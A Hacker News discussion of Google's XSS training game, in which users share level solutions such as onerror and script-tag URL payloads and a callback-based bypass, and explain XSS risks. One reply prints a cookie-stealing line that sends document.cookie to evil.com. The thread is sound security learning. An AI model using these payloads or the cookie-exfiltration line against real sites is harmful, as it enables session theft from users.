Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Google's XSS game

xss-game.appspot.com

Post reply on HN
Print view View original

31–40 of 168 posts

Re: Google's XSS game

#31

Post by jannes »

gabemart wrote: post #6
riffraff wrote: post #5

I completed the game, but I honestly don't know: why wouldn't inject a script tag directly in level 2 work?

The hint for level 3 reads: As before, using ... as a payload won't work because the browser won't execute scripts added after the page has loaded. How do you solve level 3?

For me it actually worked to use a script tag, but I'm confused about why, as the hint says it shouldn't.

This is the URL I used:

    https://xss-game.appspot.com/level3/frame#'>alert('bla')
But the hint is hinting at something more like this, I think:

    https://xss-game.appspot.com/level3/frame#' onerror="alert('bla')">
Can somebody explain why the first one worked? Are they wrong when they say that the browser won't execute scripts added after the page has loaded?

Re: Google's XSS game

#32

Post by _august »

gibybo wrote: post #17
lazyjones wrote: post #10

Nice one; I gave up trying to solve the last with the http-only google.com/jsapi and hosted my own with https, but then it occurred to me that it's even more trivial than I thought! Checking our stuff for this mistake now ...

I used "//" to get around the http regex (but this requires using an https host as you mentioned), is there another way to get around the regex?

//www.google.com/jsapi?callback=alert

Re: Google's XSS game

#33

Post by lazyjones »

[deleted] wrote: post #23
lazyjones wrote: post #12

Earlier quoted context omitted.

' after the timer value, then proceed to construct a JS expression that will be evaluated before the call to setTimer ... Hint: '99'+moo() will evaluate nicely. Don't forgot the "open" the ' again.

[deleted]

nope, OSX Safari

Re: Google's XSS game

#34

Post by hrrsn »

yen223 wrote: post #15
lazyjones wrote: post #10

Nice one; I gave up trying to solve the last with the http-only google.com/jsapi and hosted my own with https, but then it occurred to me that it's even more trivial than I thought! Checking our stuff for this mistake now ...

What's the trivial solution to this? I also wound up hosting the malicious file on my personal server...

There are apparently easier ways, but I just chucked an alert(); in my Dropbox public folder, did an //dl.dropboxusercontent.com/u/14XXX/xss.js as they serve both http and https.

Re: Google's XSS game

#35

Post by laurencei »

I asked this question once on SO and never really got a "great" answer I was after.

If my site will only ever allow users to see their own submitted data, and never ever data another user has submitted (i.e. no general 'posts' etc) - then is there actually a XSS risk on my site?

So I'm curious if an attacker can gain anything by looking at their own XSS attack?

http://stackoverflow.com/q/10265624/1317935

Re: Google's XSS game

#37

Post by maxjus »

jannes wrote: post #31
gabemart wrote: post #6

Earlier quoted context omitted.

The hint for level 3 reads: As before, using ... as a payload won't work because the browser won't execute scripts added after the page has loaded. How do you solve level 3?

For me it actually worked to use a script tag, but I'm confused about why, as the hint says it shouldn't. This is the URL I used: https://xss-game.appspot.com/level3/frame#'> alert('bla') But the hint is hinting at something more like this, I think: https://xss-game.appspot.com/level3/frame#' onerror="alert('bla')"> Can somebody explain why the first one worked? Are they wrong when they say that the browser won't exe…

Interestingly, modern WebKit browsers include an "XSS auditor" that will refuse to run javascript sent in the request that loaded the page. It's pretty good (and open-source), so figuring out a way to have XSS without hitting the auditor is a big win for the attacker.

Re: Google's XSS game

#39

Post by danielweber »

laurencei wrote: post #35

I asked this question once on SO and never really got a "great" answer I was after. If my site will only ever allow users to see their own submitted data, and never ever data another user has submitted (i.e. no general 'posts' etc) - then is there actually a XSS risk on my site? So I'm curious if an attacker can gain anything by looking at their own XSS attack? http://stackoverflow.com/q/10265624/1317935

If you missed something else, like a CSRF attack, an attacker could get you to submit an XSS request that sends your cookies to him.

There are other defenses against that, like having HttpOnly set on your cookies. Once you decide to let one particular thing through, though, you've lost defense in depth.

Re: Google's XSS game

#40

Post by blahpro »

laurencei wrote: post #35

I asked this question once on SO and never really got a "great" answer I was after. If my site will only ever allow users to see their own submitted data, and never ever data another user has submitted (i.e. no general 'posts' etc) - then is there actually a XSS risk on my site? So I'm curious if an attacker can gain anything by looking at their own XSS attack? http://stackoverflow.com/q/10265624/1317935

Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like (new Image).src = "http://evil.com/stolencookie=" + document.cookie;.
Post reply on HN